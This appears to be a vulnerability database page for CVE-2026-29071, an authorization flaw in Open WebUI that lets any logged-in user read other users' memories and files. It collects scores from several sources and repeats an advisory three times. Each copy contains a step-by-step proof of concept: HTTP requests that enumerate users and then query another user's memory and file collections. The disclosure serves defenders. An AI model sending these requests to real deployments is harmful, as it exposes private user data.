CVE-2026-29071

Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories

3.1 LowFix available

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.8.6, any authenticated user can read other users' private memories via /api/v1/retrieval/query/collection. Version 0.8.6 patches the issue.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: High
Privileges needed: Low
User interaction: None

What an attacker can affect

Confidentiality: Low
Integrity: None
Availability: None

Exploit likelihood

0.26%Up 0.2 points since Mar 27, 2026

What each source reports

CVE List Score used 3.1

Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories

Record: CVE-2026-29071
CVSS 3.1: 3.1 LowCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness: CWE-639
Updated: 2026-11-02

EUVDEUVD-2026-16486 3.1

Record: EUVD-2026-16486
CVSS 3.1: 3.1 LowCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
Updated: 2026-11-02

GitHub AdvisoriesGHSA-w9f8-gxf9-rhvw 3.1

Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories

Summary

Any authenticated user can read other users' private memories via /api/v1/retrieval/query/collection

Details

Vulnerability 1: Missing authorization in collection querying

In backend/open_webui/routers/retrieval.py, the query_collection_handler function accepts a list of collection_names but performs no ownership validation:

async def query_collection_handler(
    request: Request,
    form_data: QueryCollectionsForm,
    user=Depends(get_verified_user),  # Only checks authentication, not authorization
):

Collection names follow predictable patterns:

User files: file-{FILE_UUID}
User memories: user-memory-{USER_UUID} (requires Memory experimental feature)

PoC

Environment: Open WebUI v0.8.3, default configuration. Setup:

Register two users: admin (first user) and attacker (second user).
As admin, upload a PDF document through chat.
As admin, enable Memory (Settings → Personalization → Memory) and add some memories.

Exploitation — Step 1: Enumerate all users

GET /api/v1/users/search HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>

Response reveals all users including admin's UUID, email, and role:

{
  "users": [
    {
      "id": "1e4756eb-b064-4781-8b06-4979bca59c8b",
      "name": "user",
      "email": "[email protected]",
      "role": "user"
    },
    {
      "id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
      "name": "admin",
      "email": "[email protected]",
      "role": "admin"
    }
  ]
}

Exploitation — Step 2: Read admin's memories

Using the admin UUID obtained in Step 1, query their private memory collection:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["user-memory-<admin_UUID_from_step_1>"],
  "query": "test"
}

Response returns admin's private memories:

{
  "documents": [["User is testing IDOR", "User - Mariusz, security researcher"]]
}

Note: Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.

Exploitation — Step 3: Read admin's private file (Vulnerability 1)

File collections use the pattern file-{FILE_UUID}. The file UUID must be obtained separately. Once known:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["file-<file_UUID>"],
  "query": "test"
}

Response returns admin's private document content and full metadata:

{
  "documents": [["Test PDF  \nabc   \nbcd"]],
  "metadatas": [[{
    "name": "Test PDF.pdf",
    "author": "Mariusz Maik",
    "created_by": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
    "file_id": "243bee10-49ad-466f-884b-67b6b3d74968"
  }]]
}

Impact

Document theft: Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.
User enumeration: All user UUIDs, emails, names, and roles are exposed to any authenticated user via /api/v1/users/search.
Memory leakage: When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation.
No admin privileges required: A regular user account is sufficient to exploit all of the above.

Suggested Fix

1. Add ownership validation in /api/v1/retrieval/query/collection: …

Record: GHSA-w9f8-gxf9-rhvw
CVSS 3.1: 3.1 LowCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness: CWE-639
Updated: 2026-11-02

NVD 3.1

Record: CVE-2026-29071
CVSS 3.1: 3.1 LowCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
CVSS 3.1: 4.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness: CWE-639
Updated: 2026-11-02

OSV 3.1

Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories

Record: CVE-2026-29071
CVSS 3.1: 3.1 LowCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness: CWE-639
Updated: 2026-11-02

OSVGHSA-w9f8-gxf9-rhvw 3.1

Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories

Summary

Any authenticated user can read other users' private memories via /api/v1/retrieval/query/collection

Details

Vulnerability 1: Missing authorization in collection querying

In backend/open_webui/routers/retrieval.py, the query_collection_handler function accepts a list of collection_names but performs no ownership validation:

async def query_collection_handler(
    request: Request,
    form_data: QueryCollectionsForm,
    user=Depends(get_verified_user),  # Only checks authentication, not authorization
):

Collection names follow predictable patterns:

User files: file-{FILE_UUID}
User memories: user-memory-{USER_UUID} (requires Memory experimental feature)

PoC

Environment: Open WebUI v0.8.3, default configuration. Setup:

Register two users: admin (first user) and attacker (second user).
As admin, upload a PDF document through chat.
As admin, enable Memory (Settings → Personalization → Memory) and add some memories.

Exploitation — Step 1: Enumerate all users

GET /api/v1/users/search HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>

Response reveals all users including admin's UUID, email, and role:

{
  "users": [
    {
      "id": "1e4756eb-b064-4781-8b06-4979bca59c8b",
      "name": "user",
      "email": "[email protected]",
      "role": "user"
    },
    {
      "id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
      "name": "admin",
      "email": "[email protected]",
      "role": "admin"
    }
  ]
}

Exploitation — Step 2: Read admin's memories

Using the admin UUID obtained in Step 1, query their private memory collection:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["user-memory-<admin_UUID_from_step_1>"],
  "query": "test"
}

Response returns admin's private memories:

{
  "documents": [["User is testing IDOR", "User - Mariusz, security researcher"]]
}

Note: Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.

Exploitation — Step 3: Read admin's private file (Vulnerability 1)

File collections use the pattern file-{FILE_UUID}. The file UUID must be obtained separately. Once known:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["file-<file_UUID>"],
  "query": "test"
}

Response returns admin's private document content and full metadata:

{
  "documents": [["Test PDF  \nabc   \nbcd"]],
  "metadatas": [[{
    "name": "Test PDF.pdf",
    "author": "Mariusz Maik",
    "created_by": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
    "file_id": "243bee10-49ad-466f-884b-67b6b3d74968"
  }]]
}

Impact

Document theft: Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.
User enumeration: All user UUIDs, emails, names, and roles are exposed to any authenticated user via /api/v1/users/search.
Memory leakage: When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation.
No admin privileges required: A regular user account is sufficient to exploit all of the above.

Suggested Fix

1. Add ownership validation in /api/v1/retrieval/query/collection: …

Record: GHSA-w9f8-gxf9-rhvw
CVSS 3.1: 3.1 LowCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness: CWE-639
Updated: 2026-11-02

OSVPYSEC-2026-2765 3.1

Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories

Summary

Any authenticated user can read other users' private memories via /api/v1/retrieval/query/collection

Details

Vulnerability 1: Missing authorization in collection querying

In backend/open_webui/routers/retrieval.py, the query_collection_handler function accepts a list of collection_names but performs no ownership validation:

async def query_collection_handler(
    request: Request,
    form_data: QueryCollectionsForm,
    user=Depends(get_verified_user),  # Only checks authentication, not authorization
):

Collection names follow predictable patterns:

User files: file-{FILE_UUID}
User memories: user-memory-{USER_UUID} (requires Memory experimental feature)

PoC

Environment: Open WebUI v0.8.3, default configuration. Setup:

Register two users: admin (first user) and attacker (second user).
As admin, upload a PDF document through chat.
As admin, enable Memory (Settings → Personalization → Memory) and add some memories.

Exploitation — Step 1: Enumerate all users

GET /api/v1/users/search HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>

Response reveals all users including admin's UUID, email, and role:

{
  "users": [
    {
      "id": "1e4756eb-b064-4781-8b06-4979bca59c8b",
      "name": "user",
      "email": "[email protected]",
      "role": "user"
    },
    {
      "id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
      "name": "admin",
      "email": "[email protected]",
      "role": "admin"
    }
  ]
}

Exploitation — Step 2: Read admin's memories

Using the admin UUID obtained in Step 1, query their private memory collection:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["user-memory-<admin_UUID_from_step_1>"],
  "query": "test"
}

Response returns admin's private memories:

{
  "documents": [["User is testing IDOR", "User - Mariusz, security researcher"]]
}

Note: Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.

Exploitation — Step 3: Read admin's private file (Vulnerability 1)

File collections use the pattern file-{FILE_UUID}. The file UUID must be obtained separately. Once known:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["file-<file_UUID>"],
  "query": "test"
}

Response returns admin's private document content and full metadata:

{
  "documents": [["Test PDF  \nabc   \nbcd"]],
  "metadatas": [[{
    "name": "Test PDF.pdf",
    "author": "Mariusz Maik",
    "created_by": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
    "file_id": "243bee10-49ad-466f-884b-67b6b3d74968"
  }]]
}

Impact

Document theft: Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.
User enumeration: All user UUIDs, emails, names, and roles are exposed to any authenticated user via /api/v1/users/search.
Memory leakage: When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation.
No admin privileges required: A regular user account is sufficient to exploit all of the above.

Suggested Fix

1. Add ownership validation in /api/v1/retrieval/query/collection: …

Record: PYSEC-2026-2765
CVSS 3.1: 3.1 LowCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
Updated: 2026-11-02

Affected products

Affected packages

Affected packages
Package	Affected	Fixed
`open-webui` PyPI	through 0.8.5	0.8.6
`open-webui` PyPI	before 0.8.6, plus listed versions 0.1.1240.1.1250.2.00.2.10.2.2 Show 45 moreShow less 0.2.30.2.40.2.50.3.00.3.10.3.100.3.120.3.130.3.140.3.150.3.160.3.170.3.17.dev20.3.17.dev30.3.17.dev40.3.17.dev50.3.180.3.190.3.20.3.200.3.210.3.220.3.230.3.240.3.250.3.260.3.270.3.27.dev10.3.27.dev20.3.27.dev30.3.280.3.290.3.30.3.300.3.30.dev10.3.30.dev20.3.310.3.31.dev10.3.320.3.330.3.33.dev10.3.340.3.350.3.40.3.5	0.8.6

History

History
Recorded	Changed	Sources
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-29071 is a low vulnerability (CVSS 3.1) in Openwebui Open Webui, published March 26, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.26%, the 18th percentile. Fixed in open-webui 0.8.6.

References

This page doesn't list everything

Left out here: 94 versions and the rest of 3 source descriptions. The JSON record has them.